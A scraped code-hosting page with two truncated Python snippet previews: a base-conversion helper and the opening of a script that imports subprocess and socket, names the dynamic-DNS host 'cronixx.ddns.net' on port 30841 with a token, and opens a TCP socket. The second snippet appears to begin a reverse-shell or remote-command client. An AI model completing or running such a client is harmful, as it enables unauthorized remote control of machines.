This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def convert_to_base(input, outputbase): | |
output = [] | |
next_number = input | |
while next_number > 0: | |
print("NextNumber: {0} | Base: {1} --> Next_number = {2} Rest = {3}".format(next_number, | |
outputbase, | |
int(next_number/outputbase), | |
int(next_number % outputbase))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess | |
import socket | |
import time as t | |
service = "cronixx.ddns.net" | |
port = 30841 | |
token = "123" | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
NewerOlder